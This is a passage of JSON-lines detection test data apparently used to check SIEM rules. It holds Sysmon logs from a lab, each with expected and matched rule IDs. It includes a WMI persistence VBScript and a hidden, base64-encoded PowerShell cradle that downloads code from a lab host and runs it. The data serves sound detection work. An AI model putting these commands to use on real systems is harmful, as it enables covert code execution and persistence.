& strComputerName & \\\\\\\\\\\\\\\"|Staging Location activity|\\\\\\\\\\\\\\\"& strFilePath \\\\\\\\nobjWmiResultsFile.Close \\\\\\\\nSet objFilePath = objFSO.GetFile(strFilePath) \\\\\\\\nstrFileTarget = strWmiPath & strDate & \\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\" & objFSO.GetFileName(objFilePath) \\\\\\\\nIf(Not objFSO.FolderExists(strWmiPath & strDate)) Then \\\\\\\\n objFSO.CreateFolder(strWmiPath & strDate) \\\\\\\\nEnd If \\\\\\\\nobjFSO.CopyFile strFilePath, strFileTarget \\\\\\\\n\\\\\\\"\", \"ruleName\": \"technique_id=T1047,technique_name=Windows Management Instrumentation\", \"eventType\": \"WmiConsumerEvent\", \"type\": \"Script\", \"operation\": \"Created\", \"user\": \"DC\\\\\\\\Administrator\" }, \"system\": { \"eventID\": \"20\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"WmiEventConsumer activity detected:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nEventType: WmiConsumerEvent\\r\\nUtcTime: 2021-11-08 09:51:02.142\\r\\nOperation: Created\\r\\nUser: DC\\\\Administrator\\r\\nName: \\\"StagingLocation_Example\\\"\\r\\nType: Script\\r\\nDestination: \\\"\\r\\\\nOption Explicit\\r\\\\nDim strDate,strTime,strWmiPath,strWmiResultsPath,strFilePath,strFileTarget,strComputerName\\r\\\\nDim objWmiResultsFile,objFilePath,objSysInfo\\r\\\\nDim objFSO,dateTime\\r\\\\nSet dateTime = CreateObject(\\\\\\\"WbemScripting.SWbemDateTime\\\\\\\") \\r\\\\ndateTime.SetVarDate (now())\\r\\\\nstrDate = YEAR(dateTime.GetVarDate (false)) & \\\\\\\"-\\\\\\\" & Right(String(2,\\\\\\\"0\\\\\\\") & Month(dateTime.GetVarDate (false)), 2) & \\\\\\\"-\\\\\\\" & Right(String(2, \\\\\\\"0\\\\\\\") & DAY(dateTime.GetVarDate (false)), 2)\\r\\\\nstrTime = FormatDateTime(dateTime.GetVarDate (false),vbShortTime)\\r\\\\nSet objSysInfo = CreateObject(\\\\\\\"WinNTSystemInfo\\\\\\\")\\r\\\\nstrComputerName = objSysInfo.ComputerName\\r\\\\nstrWMIPath = \\\\\\\"\\\\\\\"\\r\\\\nstrWmiResultsPath = strWMIPath & \\\\\\\"results.log\\\\\\\"\\r\\\\nstrFilePath = TargetEvent.TargetInstance.Name\\r\\\\nSet objFSO = CreateObject(\\\\\\\"Scripting.Filesystemobject\\\\\\\")\\r\\\\nSet objWmiResultsFile = objFSO.OpenTextFile(strWmiResultsPath,8,True,0)\\r\\\\nobjWmiResultsFile.WriteLine strDate & \\\\\\\"T\\\\\\\" & strTime & \\\\\\\"Z|\\\\\\\" & strComputerName & \\\\\\\"|Staging Location activity|\\\\\\\"& strFilePath\\r\\\\nobjWmiResultsFile.Close\\r\\\\nSet objFilePath = objFSO.GetFile(strFilePath)\\r\\\\nstrFileTarget = strWmiPath & strDate & \\\\\\\"\\\\\\\\\\\\\\\" & objFSO.GetFileName(objFilePath)\\r\\\\nIf(Not objFSO.FolderExists(strWmiPath & strDate)) Then\\r\\\\n objFSO.CreateFolder(strWmiPath & strDate)\\r\\\\nEnd If\\r\\\\nobjFSO.CopyFile strFilePath, strFileTarget\\r\\\\n\\\"\\\"\", \"version\": \"3\", \"systemTime\": \"2021-11-08T09:51:02.1541136Z\", \"eventRecordID\": \"140890\", \"threadID\": \"2356\", \"computer\": \"Workstation1.dc.local\", \"task\": \"20\", \"processID\": \"2304\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.destination": " \\\" \\\\nOption Explicit \\\\nDim strDate,strTime,strWmiPath,strWmiResultsPath,strFilePath,strFileTarget,strComputerName \\\\nDim objWmiResultsFile,objFilePath,objSysInfo \\\\nDim objFSO,dateTime \\\\nSet dateTime = CreateObject(\\\\\\\"WbemScripting.SWbemDateTime\\\\\\\") \\\\ndateTime.SetVarDate (now()) \\\\nstrDate = YEAR(dateTime.GetVarDate (false)) & \\\\\\\"-\\\\\\\" & Right(String(2,\\\\\\\"0\\\\\\\") & Month(dateTime.GetVarDate (false)), 2) & \\\\\\\"-\\\\\\\" & Right(String(2, \\\\\\\"0\\\\\\\") & DAY(dateTime.GetVarDate (false)), 2) \\\\nstrTime = FormatDateTime(dateTime.GetVarDate (false),vbShortTime) \\\\nSet objSysInfo = CreateObject(\\\\\\\"WinNTSystemInfo\\\\\\\") \\\\nstrComputerName = objSysInfo.ComputerName \\\\nstrWMIPath = \\\\\\\"<ADD PATH with trailing \\\\\\\\ >\\\\\\\" \\\\nstrWmiResultsPath = strWMIPath & \\\\\\\"results.log\\\\\\\" \\\\nstrFilePath = TargetEvent.TargetInstance.Name \\\\nSet objFSO = CreateObject(\\\\\\\"Scripting.Filesystemobject\\\\\\\") \\\\nSet objWmiResultsFile = objFSO.OpenTextFile(strWmiResultsPath,8,True,0) \\\\nobjWmiResultsFile.WriteLine strDate & \\\\\\\"T\\\\\\\" & strTime & \\\\\\\"Z|\\\\\\\" & strComputerName & \\\\\\\"|Staging Location activity|\\\\\\\"& strFilePath \\\\nobjWmiResultsFile.Close \\\\nSet objFilePath = objFSO.GetFile(strFilePath) \\\\nstrFileTarget = strWmiPath & strDate & \\\\\\\"\\\\\\\\\\\\\\\" & objFSO.GetFileName(objFilePath) \\\\nIf(Not objFSO.FolderExists(strWmiPath & strDate)) Then \\\\n objFSO.CreateFolder(strWmiPath & strDate) \\\\nEnd If \\\\nobjFSO.CopyFile strFilePath, strFileTarget \\\\n\\\"", "win.eventdata.eventType": "WmiConsumerEvent", "win.eventdata.name": " \\\"StagingLocation_Example\\\"", "win.eventdata.operation": "Created", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.type": "Script", "win.eventdata.user": "DC\\\\Administrator", "win.eventdata.utcTime": "2021-11-08 09:51:02.142", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "20", "win.system.eventRecordID": "140890", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2304", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-08T09:51:02.1541136Z", "win.system.task": "20", "win.system.threadID": "2356", "win.system.version": "3"}, "field_names": ["win.eventdata.destination", "win.eventdata.eventType", "win.eventdata.name", "win.eventdata.operation", "win.eventdata.ruleName", "win.eventdata.type", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "89501", "rule_matches_expected": false, "ini_file": "sysmon_eid_20.ini", "section": "WmiConsumerEvent created, possible persistence tactic"} +{"log": "{ \"win\": { \"eventdata\": { \"utcTime\": \"2021-11-04 17:06:05.800\", \"name\": \" \\\\\\\"WindowsParentalControlMigration\\\\\\\"\", \"destination\": \" \\\\\\\"powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQATQBTAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgA0AC8AdwBlAGIAaABwAC8AXwByAHAAJwApACkAKQA7AEkARQBYACAAJABNAFMA\\\\\\\"\", \"ruleName\": \"technique_id=T1047,technique_name=Windows Management Instrumentation\", \"eventType\": \"WmiConsumerEvent\", \"type\": \"Command Line\", \"operation\": \"Created\", \"user\": \"DC\\\\\\\\Administrator\" }, \"system\": { \"eventID\": \"20\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"WmiEventConsumer activity detected:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nEventType: WmiConsumerEvent\\r\\nUtcTime: 2021-11-04 17:06:05.800\\r\\nOperation: Created\\r\\nUser: DC\\\\Administrator\\r\\nName: \\\"WindowsParentalControlMigration\\\"\\r\\nType: Command Line\\r\\nDestination: \\\"powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQATQBTAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgA0AC8AdwBlAGIAaABwAC8AXwByAHAAJwApACkAKQA7AEkARQBYACAAJABNAFMA\\\"\\\"\", \"version\": \"3\", \"systemTime\": \"2021-11-04T17:06:05.8099312Z\", \"eventRecordID\": \"132326\", \"threadID\": \"1564\", \"computer\": \"Workstation1.dc.local\", \"task\": \"20\", \"processID\": \"2228\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.destination": " \\\"powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQATQBTAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgA0AC8AdwBlAGIAaABwAC8AXwByAHAAJwApACkAKQA7AEkARQBYACAAJABNAFMA\\\"", "win.eventdata.eventType": "WmiConsumerEvent", "win.eventdata.name": " \\\"WindowsParentalControlMigration\\\"", "win.eventdata.operation": "Created", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.type": "Command Line", "win.eventdata.user": "DC\\\\Administrator", "win.eventdata.utcTime": "2021-11-04 17:06:05.800", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "20", "win.system.eventRecordID": "132326", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2228", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-04T17:06:05.8099312Z", "win.system.task": "20", "win.system.threadID": "1564", "win.system.version": "3"}, "field_names": ["win.eventdata.destination", "win.eventdata.eventType", "win.eventdata.name", "win.eventdata.operation", "win.eventdata.ruleName", "win.eventdata.type", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "89502", "rule_matches_expected": false, "ini_file": "sysmon_eid_20.ini", "section": "WmiConsumerEvent created, possible persistence tactic using executables"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"8080\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"sourcePort\":\"50152\",\"initiated\":\"true\",\"destinationIp\":\"192.168.0.4\",\"protocol\":\"tcp\",\"processGuid\":\"{4dc16835-e854-6116-9224-950000000000}\",\"sourceIp\":\"192.168.0.121\",\"processId\":\"5888\",\"utcTime\":\"2021-08-13 21:47:01.587\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"destinationIsIpv6\":\"false\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"sourceIsIpv6\":\"false\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-08-13 21:47:01.587\\r\\nProcessGuid: {4dc16835-e854-6116-9224-950000000000}\\r\\nProcessId: 5888\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nProtocol: tcp\\r\\nInitiated: true\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.121\\r\\nSourceHostname: -\\r\\nSourcePort: 50152\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.4\\r\\nDestinationHostname: -\\r\\nDestinationPort: 8080\\r\\nDestinationPortName: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-08-13T21:47:02.6323067Z\",\"eventRecordID\":\"346207\",\"threadID\":\"3316\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2668\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.4", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "8080", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.initiated": "true", "win.eventdata.processGuid": "{4dc16835-e854-6116-9224-950000000000}", "win.eventdata.processId": "5888", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.sourceIp": "192.168.0.121", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "50152", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-08-13 21:47:01.587", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "346207", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2668", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-13T21:47:02.6323067Z", "win.system.task": "3", "win.system.threadID": "3316", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92101", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "Powershell process communicating over TCP"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"135\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"sourcePort\":\"49815\",\"initiated\":\"true\",\"destinationIp\":\"192.168.0.57\",\"protocol\":\"tcp\",\"processGuid\":\"{4dc16835-60aa-6094-3701-000000003800}\",\"sourceIp\":\"192.168.0.121\",\"processId\":\"1852\",\"utcTime\":\"2021-05-06 21:35:16.032\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"destinationIsIpv6\":\"false\",\"user\":\"EXCHANGETEST\\\\\\\\Administrator\",\"sourceIsIpv6\":\"false\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-05-06 21:35:16.032\\r\\nProcessGuid: {4dc16835-60aa-6094-3701-000000003800}\\r\\nProcessId: 1852\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nUser: EXCHANGETEST\\\\Administrator\\r\\nProtocol: tcp\\r\\nInitiated: true\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.121\\r\\nSourceHostname: -\\r\\nSourcePort: 49815\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.57\\r\\nDestinationHostname: -\\r\\nDestinationPort: 135\\r\\nDestinationPortName: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-05-06T21:35:17.0534150Z\",\"eventRecordID\":\"185918\",\"threadID\":\"2944\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2140\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.57", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "135", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.initiated": "true", "win.eventdata.processGuid": "{4dc16835-60aa-6094-3701-000000003800}", "win.eventdata.processId": "1852", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.sourceIp": "192.168.0.121", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "49815", "win.eventdata.user": "EXCHANGETEST\\\\Administrator", "win.eventdata.utcTime": "2021-05-06 21:35:16.032", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "185918", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2140", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-05-06T21:35:17.0534150Z", "win.system.task": "3", "win.system.threadID": "2944", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92102", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "DCOM/RPC activity from Powershell process"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"389\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"sourcePort\":\"56704\",\"initiated\":\"true\",\"destinationIp\":\"192.168.0.57\",\"protocol\":\"tcp\",\"processGuid\":\"{4dc16835-5bcf-6091-b801-000000003500}\",\"sourceIp\":\"192.168.0.121\",\"processId\":\"5912\",\"utcTime\":\"2021-05-04 15:04:59.139\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"destinationIsIpv6\":\"false\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"sourceIsIpv6\":\"false\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-05-04 15:04:59.139\\r\\nProcessGuid: {4dc16835-5bcf-6091-b801-000000003500}\\r\\nProcessId: 5912\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nProtocol: tcp\\r\\nInitiated: true\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.121\\r\\nSourceHostname: -\\r\\nSourcePort: 56704\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.57\\r\\nDestinationHostname: -\\r\\nDestinationPort: 389\\r\\nDestinationPortName: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-05-04T15:05:00.3201980Z\",\"eventRecordID\":\"169292\",\"threadID\":\"3052\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2432\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.57", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "389", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.initiated": "true", "win.eventdata.processGuid": "{4dc16835-5bcf-6091-b801-000000003500}", "win.eventdata.processId": "5912", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.sourceIp": "192.168.0.121", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "56704", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-05-04 15:04:59.139", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "169292", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2432", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-05-04T15:05:00.3201980Z", "win.system.task": "3", "win.system.threadID": "3052", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92103", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "LDAP activity from Powershell process"} +{"log": "{ \"win\": { \"eventdata\": { \"destinationPort\": \"135\", \"image\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\AppData\\\\\\\\Local\\\\\\\\paexec.exe\", \"sourcePort\": \"49610\", \"initiated\": \"true\", \"destinationIp\": \"172.20.10.12\", \"protocol\": \"tcp\", \"processGuid\": \"{94f48244-7eff-6164-5203-000000001b00}\", \"sourceIp\": \"172.20.10.9\", \"processId\": \"1672\", \"utcTime\": \"2021-10-11 17:44:24.000\", \"ruleName\": \"technique_id=T1036,technique_name=Masquerading\", \"destinationIsIpv6\": \"false\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"sourceIsIpv6\": \"false\" }, \"system\": { \"eventID\": \"3\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1036,technique_name=Masquerading\\r\\nUtcTime: 2021-10-11 17:44:24.000\\r\\nProcessGuid: {94f48244-7eff-6164-5203-000000001b00}\\r\\nProcessId: 1672\\r\\nImage: C:\\\\Users\\\\itadmin\\\\AppData\\\\Local\\\\paexec.exe\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nProtocol: tcp\\r\\nInitiated: true\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 172.20.10.9\\r\\nSourceHostname: -\\r\\nSourcePort: 49610\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 172.20.10.12\\r\\nDestinationHostname: -\\r\\nDestinationPort: 135\\r\\nDestinationPortName: -\\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-11T18:14:25.9773023Z\", \"eventRecordID\": \"325975\", \"threadID\": \"3616\", \"computer\": \"hotelmanager.xrisbarney.local\", \"task\": \"3\", \"processID\": \"2456\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "172.20.10.12", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "135", "win.eventdata.image": "C:\\\\Users\\\\itadmin\\\\AppData\\\\Local\\\\paexec.exe", "win.eventdata.initiated": "true", "win.eventdata.processGuid": "{94f48244-7eff-6164-5203-000000001b00}", "win.eventdata.processId": "1672", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1036,technique_name=Masquerading", "win.eventdata.sourceIp": "172.20.10.9", 